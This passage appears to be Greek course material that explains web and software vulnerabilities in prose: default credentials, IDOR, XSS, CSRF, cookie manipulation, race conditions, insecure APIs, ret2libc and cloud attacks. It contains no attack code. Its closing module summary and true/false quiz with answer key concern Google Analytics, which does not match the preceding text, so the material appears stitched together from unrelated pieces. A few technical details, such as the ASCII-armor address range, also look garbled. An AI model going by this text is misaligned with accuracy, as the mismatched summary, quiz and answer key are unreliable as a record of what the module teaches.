Προεπιλεγμένα διαπιστευτήρια (Default Credentials) Μια κοινή παροιμία στον κλάδο της ασφάλειας είναι: "Γιατί χρειάζεστε χάκερ, αφού έχετε προεπιλεγμένους κωδικούς πρόσβασης;". Πολλοί οργανισμοί και ιδιώτες αφήνουν συσκευές υποδομής, όπως δρομολογητές, διακόπτες, σημεία ασύρματης πρόσβασης, ακόμη και τείχη προστασίας, ρυθμισμένες με προεπιλεγμένους κωδικούς πρόσβασης. Οι επιτιθέμενοι μπορούν εύκολα να εντοπίσουν και να αποκτήσουν πρόσβαση σε συστήματα που χρησιμοποιούν κοινόχρηστους προεπιλεγμένους κωδικούς πρόσβασης. Είναι εξαιρετικά σημαντικό να αλλάζετε πάντα τους προεπιλεγμένους κωδικούς πρόσβασης του κατασκευαστή και να περιορίζετε την πρόσβαση στο δίκτυο σε κρίσιμα συστήματα. Πολλοί κατασκευαστές απαιτούν πλέον από τους χρήστες να αλλάζουν τους προεπιλεγμένους κωδικούς πρόσβασης κατά την αρχική εγκατάσταση, αλλά ορισμένοι δεν το κάνουν. Οι επιτιθέμενοι μπορούν εύκολα να αποκτήσουν προεπιλεγμένους κωδικούς πρόσβασης και να εντοπίσουν τα συστήματα-στόχους που είναι συνδεδεμένα στο Διαδίκτυο. Οι κωδικοί πρόσβασης μπορούν να βρεθούν στην τεκμηρίωση του προϊόντος και σε συγκεντρωτικούς καταλόγους

που

διατίθενται

στο

Διαδίκτυο.

Ένα

παράδειγμα

είναι

το

http://www.defaultpassword.com, αλλά υπάρχουν δεκάδες άλλες τοποθεσίες που περιέχουν προεπιλεγμένους κωδικούς πρόσβασης και ρυθμίσεις στο Διαδίκτυο. Είναι εύκολο να εντοπίσετε συσκευές που διαθέτουν προεπιλεγμένους κωδικούς πρόσβασης και είναι

εκτεθειμένες στο Διαδίκτυο χρησιμοποιώντας μηχανές αναζήτησης όπως η Shodan (https://www.shodan.io).

Ανασφαλείς ευπάθειες άμεσης αναφοράς αντικειμένου (Insecure Direct Object Reference Vulnerabilities) Ανασφαλείς ευπάθειες άμεσης αναφοράς αντικειμένων μπορούν να αξιοποιηθούν όταν οι εφαρμογές ιστού επιτρέπουν την άμεση πρόσβαση σε αντικείμενα με βάση την είσοδο του χρήστη. Η επιτυχής εκμετάλλευση θα μπορούσε να επιτρέψει στους επιτιθέμενους να παρακάμψουν την εξουσιοδότηση και να αποκτήσουν πρόσβαση σε πόρους που θα έπρεπε να προστατεύονται από το σύστημα (για παράδειγμα, εγγραφές βάσεων δεδομένων και αρχεία συστήματος). Αυτή η ευπάθεια εμφανίζεται όταν μια εφαρμογή δεν καθαρίζει την είσοδο του χρήστη και δεν εκτελεί τους κατάλληλους ελέγχους εξουσιοδότησης. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί τις ευπάθειες Ανασφαλείς άμεσες αναφορές αντικειμένων τροποποιώντας την τιμή μιας παραμέτρου που χρησιμοποιείται για να δείξει απευθείας σε ένα αντικείμενο. Προκειμένου να εκμεταλλευτεί αυτό το είδος ευπάθειας, ένας εισβολέας πρέπει να χαρτογραφήσει όλες τις θέσεις στην εφαρμογή όπου η είσοδος του χρήστη χρησιμοποιείται για την απευθείας αναφορά σε αντικείμενα.

Cross-site Scripting (XSS) Οι ευπάθειες cross-site scripting (κοινώς γνωστές ως XSS) έχουν γίνει μερικές από τις πιο κοινές ευπάθειες εφαρμογών ιστού. Οι ευπάθειες XSS ταξινομούνται σε τρεις μεγάλες κατηγορίες: Reflected XSS Stored (persistent) XSS DOM-based XSS Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν τεχνικές απόκρυψης σε επιθέσεις XSS, κωδικοποιώντας ετικέτες ή κακόβουλα τμήματα της δέσμης ενεργειών με χρήση Unicode, έτσι ώστε ο σύνδεσμος ή το περιεχόμενο HTML να μεταμφιέζεται στον τελικό χρήστη που περιηγείται στον ιστότοπο.

Οι επιθέσεις Reflected XSS (non-persistent XSS) συμβαίνουν όταν κακόβουλος κώδικας ή σενάρια εισάγονται από μια ευάλωτη εφαρμογή ιστού χρησιμοποιώντας οποιαδήποτε μέθοδο που παράγει μια απάντηση ως μέρος μιας έγκυρης αίτησης HTTP. Παράδειγμα μιας ανακλώμενης επίθεσης XSS είναι ένας χρήστης που πείθεται να ακολουθήσει έναν κακόβουλο σύνδεσμο σε έναν ευάλωτο διακομιστή που εισάγει (ανακλά) τον κακόβουλο κώδικα πίσω στο πρόγραμμα περιήγησης του χρήστη. Αυτό αναγκάζει το πρόγραμμα περιήγησης να εκτελέσει τον κώδικα ή το σενάριο. Στην περίπτωση αυτή, ο ευάλωτος διακομιστής είναι συνήθως ένας γνωστός ή αξιόπιστος ιστότοπος. Παραδείγματα μεθόδων παράδοσης για τα exploits XSS είναι τα μηνύματα ηλεκτρονικού ταχυδρομείου phishing, οι εφαρμογές ανταλλαγής μηνυμάτων και οι μηχανές αναζήτησης. Οι αποθηκευμένες ή μόνιμες επιθέσεις XSS συμβαίνουν όταν ο κακόβουλος κώδικας ή η δέσμη ενεργειών αποθηκεύεται μόνιμα σε έναν ευάλωτο ή κακόβουλο διακομιστή, χρησιμοποιώντας μια βάση δεδομένων. Αυτές οι επιθέσεις πραγματοποιούνται συνήθως σε ιστότοπους που φιλοξενούν αναρτήσεις σε ιστολόγια (φόρμες σχολίων), διαδικτυακά φόρουμ και άλλες μεθόδους μόνιμης αποθήκευσης. Παράδειγμα επίθεσης αποθηκευμένου XSS είναι ένας χρήστης που ζητά τις αποθηκευμένες πληροφορίες από τον ευάλωτο ή κακόβουλο διακομιστή, γεγονός που προκαλεί την εισαγωγή του ζητούμενου κακόβουλου σεναρίου στο πρόγραμμα περιήγησης του θύματος. Σε αυτόν τον τύπο επίθεσης, ο ευάλωτος διακομιστής είναι συνήθως ένας γνωστός ή αξιόπιστος ιστότοπος. Το Μοντέλο Αντικειμένου Εγγράφου (Document Object Model - DOM) είναι μια διεπαφή προγραμματισμού εφαρμογών ανεξάρτητη από πλατφόρμες και γλώσσες που αντιμετωπίζει ένα έγγραφο HTML, XHTML ή XML ως δενδρική δομή. Οι επιθέσεις που βασίζονται στο DOM είναι συνήθως ανακλώμενες επιθέσεις XSS που ενεργοποιούνται με την αποστολή ενός συνδέσμου με εισόδους που αντανακλώνται στο πρόγραμμα περιήγησης ιστού. Στις επιθέσεις XSS με βάση το DOM, το ωφέλιμο φορτίο δεν αποστέλλεται ποτέ στον διακομιστή. Αντ' αυτού, το ωφέλιμο φορτίο επεξεργάζεται μόνο από τον πελάτη ιστού (πρόγραμμα περιήγησης). Σε μια επίθεση XSS με βάση το DOM, ο επιτιθέμενος στέλνει μια κακόβουλη διεύθυνση URL στο θύμα και αφού το θύμα κάνει κλικ στο σύνδεσμο, μπορεί να φορτώσει έναν κακόβουλο ιστότοπο ή έναν ιστότοπο που διαθέτει έναν ευάλωτο χειριστή διαδρομής DOM. Αφού ο

ευάλωτος ιστότοπος απεικονιστεί από το πρόγραμμα περιήγησης, το ωφέλιμο φορτίο εκτελεί την επίθεση στο πλαίσιο του χρήστη σε αυτόν τον ιστότοπο. Ένα από τα αποτελέσματα κάθε είδους επίθεσης XSS είναι ότι το θύμα συνήθως δεν αντιλαμβάνεται ότι έχει πραγματοποιηθεί επίθεση. Οι εφαρμογές που βασίζονται στο DOM χρησιμοποιούν παγκόσμιες μεταβλητές για τη διαχείριση πληροφοριών από την πλευρά του πελάτη. Συχνά οι προγραμματιστές δημιουργούν μη ασφαλείς εφαρμογές που τοποθετούν ευαίσθητες πληροφορίες στο DOM (για παράδειγμα, tokens, δημόσιες διευθύνσεις URL προφίλ, ιδιωτικές διευθύνσεις URL για πρόσβαση σε πληροφορίες, τιμές cross-domain OAuth, ακόμη και διαπιστευτήρια χρήστη ως μεταβλητές). Αποτελεί βέλτιστη πρακτική η αποφυγή αποθήκευσης ευαίσθητων πληροφοριών στο DOM κατά την κατασκευή εφαρμογών ιστού. Η επιτυχής εκμετάλλευση θα μπορούσε να οδηγήσει σε εγκατάσταση ή εκτέλεση κακόβουλου κώδικα, παραβίαση λογαριασμού, πειρατεία cookie συνεδρίας, αποκάλυψη ή τροποποίηση τοπικών αρχείων ή ανακατεύθυνση ιστότοπου. Τα αποτελέσματα των επιθέσεων XSS είναι τα ίδια ανεξάρτητα από τον φορέα. Παρόλο που οι ευπάθειες XSS είναι ελαττώματα σε μια εφαρμογή ιστού, η επίθεση συνήθως στοχεύει τον τελικό χρήστη. Συνήθως συναντάτε ευπάθειες XSS στα εξής: Πεδία αναζήτησης που επιστρέφουν μια συμβολοσειρά αναζήτησης στον χρήστη Κεφαλίδες HTTP Πεδία εισαγωγής που αναπαράγουν δεδομένα χρήστη Μηνύματα σφάλματος που επιστρέφουν το κείμενο που παρέχει ο χρήστης Κρυφά πεδία που μπορεί να περιλαμβάνουν δεδομένα εισόδου του χρήστη Εφαρμογές (ή ιστότοποι) που εμφανίζουν δεδομένα που παρέχονται από τους χρήστες

Πλαστογράφηση αίτησης Cross-site Οι επιθέσεις πλαστογράφησης αιτήσεων πολλαπλών τοποθεσιών (CSRF ή XSRF) συμβαίνουν όταν μεταδίδονται μη εξουσιοδοτημένες εντολές από έναν χρήστη που είναι έμπιστος από την εφαρμογή. Οι επιθέσεις CSRF διαφέρουν από τις επιθέσεις XSS επειδή εκμεταλλεύονται την εμπιστοσύνη που έχει μια εφαρμογή στο πρόγραμμα περιήγησης ενός χρήστη. Οι ευπάθειες CSRF αναφέρονται επίσης ως "επιθέσεις ενός κλικ" ή "καβάλημα συνεδρίας". Οι

επιθέσεις CSRF επηρεάζουν συνήθως εφαρμογές (ή ιστότοπους) που βασίζονται στην ταυτότητα ενός χρήστη. Οι επιτιθέμενοι μπορούν να εξαπατήσουν το πρόγραμμα περιήγησης του χρήστη ώστε να στείλει αιτήσεις HTTP σε έναν ιστότοπο-στόχο. Ένα παράδειγμα επίθεσης CSRF είναι ένας χρήστης που πιστοποιείται από την εφαρμογή μέσω ενός cookie που έχει αποθηκευτεί στο πρόγραμμα περιήγησης να στέλνει εν αγνοία του ένα αίτημα HTTP σε έναν ιστότοπο που εμπιστεύεται τον χρήστη, προκαλώντας στη συνέχεια μια ανεπιθύμητη ενέργεια.

Επιθέσεις χειραγώγησης cookie Οι επιθέσεις χειραγώγησης cookie αναφέρονται συχνά ως επιθέσεις (ή ευπάθειες) που βασίζονται σε αποθηκευμένο DOM. Η χειραγώγηση των cookies είναι δυνατή όταν οι ευάλωτες εφαρμογές αποθηκεύουν την είσοδο του χρήστη και στη συνέχεια ενσωματώνουν αυτή την είσοδο σε μια απόκριση μέσα σε ένα τμήμα του DOM. Αυτή η είσοδος επεξεργάζεται αργότερα με μη ασφαλή τρόπο από μια δέσμη ενεργειών από την πλευρά του πελάτη. Ένας εισβολέας μπορεί να χρησιμοποιήσει μια συμβολοσειρά JavaScript (ή άλλα σενάρια) για να ενεργοποιήσει την ευπάθεια που βασίζεται στο DOM. Τέτοια σενάρια μπορούν να γράψουν ελεγχόμενα δεδομένα στην τιμή ενός cookie. Ένας εισβολέας μπορεί να εκμεταλλευτεί τις αποθηκευμένες ευπάθειες που βασίζονται στο DOM για να δημιουργήσει μια διεύθυνση URL που ορίζει μια αυθαίρετη τιμή στο cookie ενός χρήστη. Ο αντίκτυπος μιας αποθηκευμένης ευπάθειας με βάση το DOM εξαρτάται από το ρόλο που παίζει το cookie στην εφαρμογή.

Race Conditions (Συνθήκες αγώνα) Μια συνθήκη αγώνα συμβαίνει όταν ένα σύστημα ή μια εφαρμογή προσπαθεί να εκτελέσει δύο ή περισσότερες λειτουργίες ταυτόχρονα. Ωστόσο, λόγω της φύσης ενός τέτοιου συστήματος ή μιας τέτοιας εφαρμογής, οι λειτουργίες πρέπει να εκτελούνται με τη σωστή σειρά για να γίνουν σωστά. Όταν ένας επιτιθέμενος εκμεταλλεύεται μια τέτοια ευπάθεια, έχει ένα μικρό χρονικό παράθυρο μεταξύ της έναρξης ισχύος ενός ελέγχου ασφαλείας και της εκτέλεσης της επίθεσης. Η πολυπλοκότητα της επίθεσης σε συνθήκες αγώνα είναι πολύ υψηλή. Με άλλα λόγια, οι συνθήκες αγώνα είναι πολύ δύσκολο να αξιοποιηθούν.

Οι συνθήκες αγώνα αναφέρονται επίσης ως επιθέσεις time of check to time of use (TOCTOU). Ένα παράδειγμα συνθήκης αγώνα είναι ένα σύστημα διαχείρισης ασφάλειας που προωθεί μια διαμόρφωση σε μια συσκευή ασφαλείας (όπως ένα τείχος προστασίας ή ένα σύστημα πρόληψης εισβολών), έτσι ώστε η διαδικασία να ανακατασκευάζει λίστες ελέγχου πρόσβασης και κανόνες από το σύστημα. Ένας επιτιθέμενος μπορεί να έχει ένα πολύ μικρό χρονικό παράθυρο μέσα στο οποίο θα μπορούσε να παρακάμψει αυτούς τους ελέγχους ασφαλείας μέχρι να τεθούν σε ισχύ στη διαχειριζόμενη συσκευή.

Μη προστατευμένα APIs Οι διεπαφές προγραμματισμού εφαρμογών (API) χρησιμοποιούνται σήμερα παντού. Ένας μεγάλος αριθμός σύγχρονων εφαρμογών χρησιμοποιεί κάποιο είδος API για να επιτρέπει σε άλλα συστήματα να αλληλεπιδρούν με την εφαρμογή. Δυστυχώς, πολλά API δεν διαθέτουν επαρκείς ελέγχους και είναι δύσκολο να παρακολουθούνται. Το εύρος και η πολυπλοκότητα των APIs καθιστούν επίσης δύσκολη την αυτοματοποίηση αποτελεσματικών δοκιμών ασφαλείας. Υπάρχουν μερικές μέθοδοι ή τεχνολογίες πίσω από τα σύγχρονα APIs: Πρωτόκολλο πρόσβασης σε απλά αντικείμενα (SOAP): αναπτύχθηκε αρχικά από τη Microsoft και χρησιμοποιείται από πολλές παλαιές εφαρμογές εδώ και πολλά χρόνια. Το SOAP χρησιμοποιεί αποκλειστικά την XML για την παροχή υπηρεσιών API. Οι προδιαγραφές που βασίζονται στην XML διέπονται από έγγραφα XML Schema Definition (XSD). Το SOAP δημιουργήθηκε αρχικά για να αντικαταστήσει παλαιότερες λύσεις όπως το Distributed Component Object Model (DCOM) και το Common Object Request Broker Architecture (CORBA). Μπορείτε να βρείτε τις πιο πρόσφατες προδιαγραφές SOAP στη διεύθυνση https://www.w3.org/TR/soap. Μεταφορά κατάστασης αναπαράστασης (REST): Αυτό το πρότυπο API είναι ευκολότερο στη χρήση από το SOAP. Χρησιμοποιεί JSON αντί για XML και χρησιμοποιεί πρότυπα όπως το Swagger και το OpenAPI Specification (https://www.openapis.org) για ευκολία στην τεκμηρίωση και για να ενθαρρύνει την υιοθέτηση. GraphQL: Η GraphQL είναι μια γλώσσα ερωτημάτων για APIs που παρέχει πολλά εργαλεία για προγραμματιστές. Η GraphQL χρησιμοποιείται πλέον για πολλές εφαρμογές για κινητά τηλέφωνα και διαδικτυακά ταμπλό. Πολλές διαφορετικές γλώσσες υποστηρίζουν την GraphQL. Μπορείτε να μάθετε περισσότερα για την GraphQL στη διεύθυνση https://graphql.org/code.

Το SOAP και το REST χρησιμοποιούν το πρωτόκολλο HTTP- ωστόσο, το SOAP περιορίζεται σε ένα πιο αυστηρό σύνολο προτύπων ανταλλαγής μηνυμάτων API σε σχέση με το REST. Ένα API παρέχει συχνά έναν οδικό χάρτη που περιγράφει την υποκείμενη υλοποίηση μιας εφαρμογής. Αυτός ο χάρτης πορείας μπορεί να δώσει στους ελεγκτές διείσδυσης πολύτιμες ενδείξεις σχετικά με τους φορείς επίθεσης που διαφορετικά θα μπορούσαν να παραβλέψουν. Η τεκμηρίωση API μπορεί να παρέχει ένα μεγάλο επίπεδο λεπτομέρειας που μπορεί να είναι πολύ πολύτιμο για έναν επαγγελματία ασφαλείας, καθώς και για τους επιτιθέμενους. Η τεκμηρίωση API μπορεί να περιλαμβάνει τα εξής: Swagger (OpenAPI): Το Swagger είναι ένα σύγχρονο πλαίσιο τεκμηρίωσης και ανάπτυξης API που αποτελεί τη βάση της προδιαγραφής OpenAPI (OAS). Πρόσθετες πληροφορίες σχετικά με το Swagger μπορείτε να βρείτε στη διεύθυνση https://swagger.io. Η προδιαγραφή OAS είναι διαθέσιμη στη διεύθυνση https://github.com/OAI/OpenAPI-Specification. Έγγραφα γλώσσας περιγραφής υπηρεσιών ιστού (WSDL): Η WSDL είναι μια γλώσσα βασισμένη σε XML που χρησιμοποιείται για την τεκμηρίωση της λειτουργικότητας μιας υπηρεσίας

ιστού.

Η

προδιαγραφή

WSDL

είναι

διαθέσιμη

στη

διεύθυνση

https://www.w3.org/TR/wsdl20-primer. Έγγραφα γλώσσας περιγραφής εφαρμογών ιστού (WADL): Η WADL είναι μια γλώσσα βασισμένη σε XML για την περιγραφή εφαρμογών ιστού. Η προδιαγραφή WADL είναι διαθέσιμη στη διεύθυνση https://www.w3.org/Submission/wadl.

Επιθέσεις Return-to-LibC και Buffer Overflows Μια επίθεση "return-to-libc" (ή ret2libc) συνήθως ξεκινά με μια υπερχείλιση ρυθμιστικού διαύλου. Σε αυτόν τον τύπο επίθεσης, η διεύθυνση επιστροφής ενός υποπρογράμματος στη στοίβα κλήσεων αντικαθίσταται από τη διεύθυνση ενός υποπρογράμματος που υπάρχει ήδη στην εκτελέσιμη μνήμη της διεργασίας. Αυτό γίνεται για να παρακαμφθεί δυνητικά το χαρακτηριστικό bit μη εκτέλεσης (NX) και να επιτραπεί στον επιτιθέμενο να εισάγει τον δικό του κώδικα. Τα λειτουργικά συστήματα που υποστηρίζουν μη εκτελέσιμη στοίβα βοηθούν στην προστασία από την εκτέλεση κώδικα μετά την εκμετάλλευση μιας ευπάθειας υπερχείλισης buffer. Από την άλλη πλευρά, μια μη εκτελέσιμη στοίβα δεν μπορεί να αποτρέψει μια επίθεση ret2libc επειδή σε αυτή την επίθεση χρησιμοποιείται μόνο υπάρχων εκτελέσιμος

κώδικας. Μια άλλη τεχνική, η οποία ονομάζεται προστασία stack-smashing, μπορεί να αποτρέψει ή να παρεμποδίσει την εκμετάλλευση εκτέλεσης κώδικα επειδή μπορεί να ανιχνεύσει την αλλοίωση της στοίβας και μπορεί ενδεχομένως να "ξεπλύνει" το τμήμα που έχει εκτεθεί. Μια τεχνική που ονομάζεται ASCII armoring μπορεί να χρησιμοποιηθεί για τον μετριασμό των επιθέσεων ret2libc. Όταν εφαρμόζετε τη θωράκιση ASCII, η διεύθυνση κάθε βιβλιοθήκης συστήματος (όπως η libc) περιέχει ένα byte NULL (0x00) που εισάγετε στα πρώτα 0x0101010101 bytes της μνήμης. Αυτή είναι συνήθως μερικές σελίδες πάνω από 16MB και ονομάζεται περιοχή θωράκισης ASCII επειδή κάθε διεύθυνση μέχρι (αλλά όχι συμπεριλαμβανομένης) αυτής της τιμής περιέχει τουλάχιστον ένα NULL byte. Όταν εφαρμόζεται αυτή η μεθοδολογία, ένας επιτιθέμενος δεν μπορεί να τοποθετήσει κώδικα που περιέχει αυτές τις διευθύνσεις χρησιμοποιώντας συναρτήσεις χειρισμού συμβολοσειρών όπως η strcpy(). Φυσικά, αυτή η τεχνική δεν προστατεύει το σύστημα αν ο επιτιθέμενος βρει έναν τρόπο να υπερχειλίσει NULL bytes στη στοίβα. Μια καλύτερη προσέγγιση είναι η χρήση της τεχνικής τυχαίας διάταξης χώρου διευθύνσεων (ASLR), η οποία μετριάζει την επίθεση σε συστήματα 64-bit. Όταν εφαρμόζετε την ASLR, οι θέσεις μνήμης των συναρτήσεων είναι τυχαίες. Ωστόσο, η ASLR δεν είναι πολύ αποτελεσματική σε συστήματα 32 bit, επειδή μόνο 16 bit είναι διαθέσιμα για τυχαιοποίηση και ένας επιτιθέμενος μπορεί να νικήσει ένα τέτοιο σύστημα χρησιμοποιώντας επιθέσεις ωμής βίας.

Top 10 του OWASP Το Open Web Application Security Project (OWASP) είναι ένας μη κερδοσκοπικός φιλανθρωπικός οργανισμός που ηγείται διαφόρων πρωτοβουλιών σε επίπεδο βιομηχανίας για την προώθηση της ασφάλειας των εφαρμογών και του λογισμικού. Καταγράφουν τα 10 πιο συνηθισμένα τρωτά σημεία κατά των εφαρμογών στον ιστότοπό τους στην ακόλουθη διεύθυνση: https://www.owasp.org/index.php/Category:OWASP_Top Ten_Project

Τρωτά σημεία ασφαλείας σε λογισμικό ανοικτού κώδικα

Η επιδιόρθωση ευπαθειών ασφαλείας για το εμπορικό λογισμικό και το λογισμικό ανοικτού κώδικα είναι μια από τις πιο σημαντικές διαδικασίες κάθε οργανισμού. Ένας οργανισμός μπορεί να χρησιμοποιεί τις ακόλουθες τεχνολογίες και συστήματα για τη διατήρηση ενός κατάλληλου προγράμματος διαχείρισης ευπαθειών: Λογισμικό διαχείρισης ευπαθειών και σαρωτές, όπως τα Qualys, Nexpose και Nessus Εργαλεία ανάλυσης σύνθεσης λογισμικού, όπως τα BlackDuck Hub, Synopsys Protecode (πρώην AppCheck), FlexNet Code Insight (πρώην Palamida), SourceClear και WhiteSource. Τροφοδοσίες ευπαθειών ασφαλείας, όπως ο κατάλογος CVE της MITRE, η Εθνική Βάση Δεδομένων Ευπαθειών (NVD) της NIST, η VulnDB και η Recorded Future.

Επιθέσεις Cloud Computing Επειδή οι υπηρεσίες που βασίζονται στο cloud είναι προσβάσιμες μέσω του Διαδικτύου, είναι ανοιχτές σε οποιονδήποτε αριθμό επιθέσεων. Καθώς όλο και περισσότερες εταιρείες μετακινούνται προς το computing cloud, αναμένεται να ακολουθήσουν και οι χάκερς. Μερικοί από τους πιθανούς φορείς επίθεσης που μπορεί να επιχειρήσουν οι εγκληματίες είναι οι εξής: Κατάχρηση συνόδου (Session hijacking): Η επίθεση αυτή συμβαίνει όταν ο επιτιθέμενος μπορεί να κατασκοπεύσει την κυκλοφορία και να υποκλέψει την κυκλοφορία για να αναλάβει μια νόμιμη σύνδεση σε μια υπηρεσία νέφους. Επίθεση DNS: Αυτή η μορφή επίθεσης εξαπατά τους χρήστες ώστε να επισκεφθούν έναν ιστότοπο phishing και να δώσουν έγκυρα διαπιστευτήρια. Cross-site scripting (XSS): Χρησιμοποιείται για την κλοπή cookies που μπορούν να αξιοποιηθούν για την απόκτηση πρόσβασης ως πιστοποιημένος χρήστης σε μια υπηρεσία cloud. Έγχυση SQL (SQL injection): Αυτή η επίθεση εκμεταλλεύεται ευάλωτες εφαρμογές βασισμένες στο cloud που επιτρέπουν στους επιτιθέμενους να περάσουν εντολές SQL σε μια βάση δεδομένων για εκτέλεση. Καβάλημα συνεδρίας (Session riding): Το Συμβούλιο της ΕΚ χρησιμοποιεί αυτόν τον όρο για να περιγράψει μια επίθεση πλαστογράφησης αιτήσεων cross-site. Οι επιτιθέμενοι χρησιμοποιούν αυτή την τεχνική για να μεταδώσουν μη εξουσιοδοτημένες εντολές

καβαλώντας

μια ενεργή συνεδρία, χρησιμοποιώντας ένα μήνυμα ηλεκτρονικού

ταχυδρομείου ή έναν κακόβουλο σύνδεσμο για να εξαπατήσουν τους χρήστες, ενώ αυτοί είναι επί του παρόντος συνδεδεμένοι σε μια υπηρεσία cloud. Κατανεμημένη επίθεση άρνησης παροχής υπηρεσιών (DDoS): Ορισμένοι επαγγελματίες της ασφάλειας έχουν υποστηρίξει ότι το νέφος είναι πιο ευάλωτο σε επιθέσεις DDoS επειδή το μοιράζονται πολλοί χρήστες και οργανισμοί, γεγονός που καθιστά επίσης οποιαδήποτε επίθεση DDoS πολύ πιο επιζήμια. Κρυπτογραφική επίθεση "άνθρωπος στο κέντρο" (man-in-the-middle): Αυτή η επίθεση πραγματοποιείται όταν ο επιτιθέμενος τοποθετεί τον εαυτό του στη διαδρομή επικοινωνίας μεταξύ δύο χρηστών. Κάθε φορά που ο επιτιθέμενος μπορεί να το κάνει αυτό, υπάρχει η πιθανότητα να μπορεί να υποκλέψει και να τροποποιήσει τις επικοινωνίες. Επίθεση πλευρικού καναλιού (Side-channel attack:): Ένας επιτιθέμενος θα μπορούσε να επιχειρήσει να θέσει σε κίνδυνο το νέφος τοποθετώντας μια κακόβουλη εικονική μηχανή σε κοντινή απόσταση από έναν διακομιστή-στόχο του νέφους και στη συνέχεια εξαπολύοντας επίθεση πλευρικού καναλιού. Επίθεση αυθεντικοποίησης (Authentication attack): Η πιστοποίηση ταυτότητας αποτελεί αδύναμο σημείο στις φιλοξενούμενες και εικονικές υπηρεσίες και αποτελεί συχνά στόχο. Υπάρχουν πολλοί τρόποι για την αυθεντικοποίηση των χρηστών, όπως με βάση το τι γνωρίζει, έχει ή είναι ένα άτομο. Οι μηχανισμοί που χρησιμοποιούνται για την ασφάλεια της διαδικασίας ελέγχου ταυτότητας και η μέθοδος ελέγχου ταυτότητας που χρησιμοποιείται αποτελούν συχνό στόχο των επιτιθέμενων. Επιθέσεις API: Συχνά τα API είναι διαμορφωμένα με μη ασφαλή τρόπο. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί τις λανθασμένες ρυθμίσεις API για να τροποποιήσει, να διαγράψει ή να προσθέσει δεδομένα σε εφαρμογές ή συστήματα σε περιβάλλοντα cloud.

Σύνοψη Εκπαιδευτικής Ενότητας 13 Στην ενότητα 13, παρουσιάστηκαν αντικείμενα που αναφέρονται: Στατιστικά και Μετρήσεις Ξεκινήστε με το Google Analytics Χάρτης διεπαφής Ρύθμιση παρακολούθησης για ιδιοκτησίες ιστού

Τρόπος ρύθμισης του κώδικα παρακολούθησης ιστού Δυναμικοί ιστότοποι Ιστότοποι με πλαίσια Τρόπος διαχείρισης του Google Analytics Επισκόπηση AdWords

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 13 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Το Google Analytics είναι μια από τις κορυφαίες υπηρεσίες της Google,

που παρέχεται δωρεάν και η οποία προσφέρει αναλυτικές πληροφορίες σχετικά με την επισκεψιμότητα μίας ιστοσελίδας.

ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Για κάθε ένα από τα websites, το Google Analytics παρέχει έναν

μοναδικό κώδικα ο οποίος πρέπει να ενσωματωθεί μόνον στην πρώτη σελίδα του site, συνήθως στο <head> ή στο τέλος του <body> της σελίδας.

ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ένα από τα σημαντικότερα στατιστικά του Google Analytics, που θα

πρέπει πάντα να λαμβάνεται υπόψιν, είναι οι ιστοσελίδες παραπομπής (referral sites).

ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ο αριθμός των μοναδικών επισκέψεων που βλέπουμε στο Google

Analytics μπορεί να είναι η μονάδα μέτρησης της επιτυχίας του site σας όταν συνδυάζεται με τις πληροφορίες των παραπομπών (referrals).

ΑΠΑΝΤΗΣΗ 4

Α

ΣΩΣΤΟ

Β

ΕΡΩΤΗΣΗ

5

ΛΑΘΟΣ

Το πρώτο βήμα στα Google Analytics είναι η ρύθμιση της ιδιοκτησίας του

λογαριασμού. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ο κώδικας παρακολούθησης του Google Analytics συλλέγει δεδομένα

επισκεπτών για την ιδιοκτησία ιστού σας και επιστρέφει αυτά τα δεδομένα στο Analytics, όπου μπορείτε να τα δείτε σε αναφορές.

ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Για να ρυθμίσετε την παρακολούθηση, δεν απαιτείται

να έχετε

πρόσβαση στον πηγαίο κώδικα του ιστοτόπου σας.

ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι ιστοσελίδες που κάνουν χρήση πλαισίων δημιουργούν πολλαπλές

προβολές σελίδας.

ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Χρειάζεστε τουλάχιστον δύο λογαριασμούς στο Analytics για να έχετε

πρόσβαση σε αυτό, καθώς και για να έχετε τη δυνατότητα να προσδιορίσετε τις ιδιοκτησίες που θέλετε να παρακολουθείτε.

ΑΠΑΝΤΗΣΗ 9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 10

Μπορείτε να δημιουργήσετε πρόσθετα προφίλ και να εφαρμόσετε

φίλτρα, έτσι ώστε κάθε προφίλ να περιλαμβάνει το συγκεκριμένο υποσύνολο δεδομένων που σας ενδιαφέρει.

ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 13 1:

Απάντηση 1. Α

2:

Απάντηση 2. Β

3:

Απάντηση 3. Α

4:

Απάντηση 4. Α

5:

Απάντηση 5. Β

6:

Απάντηση 6. Α

7:

Απάντηση 7. Β

8:

Απάντηση 8. Α

9:

Απάντηση 9. Β

10:

Απάντηση 10. Α

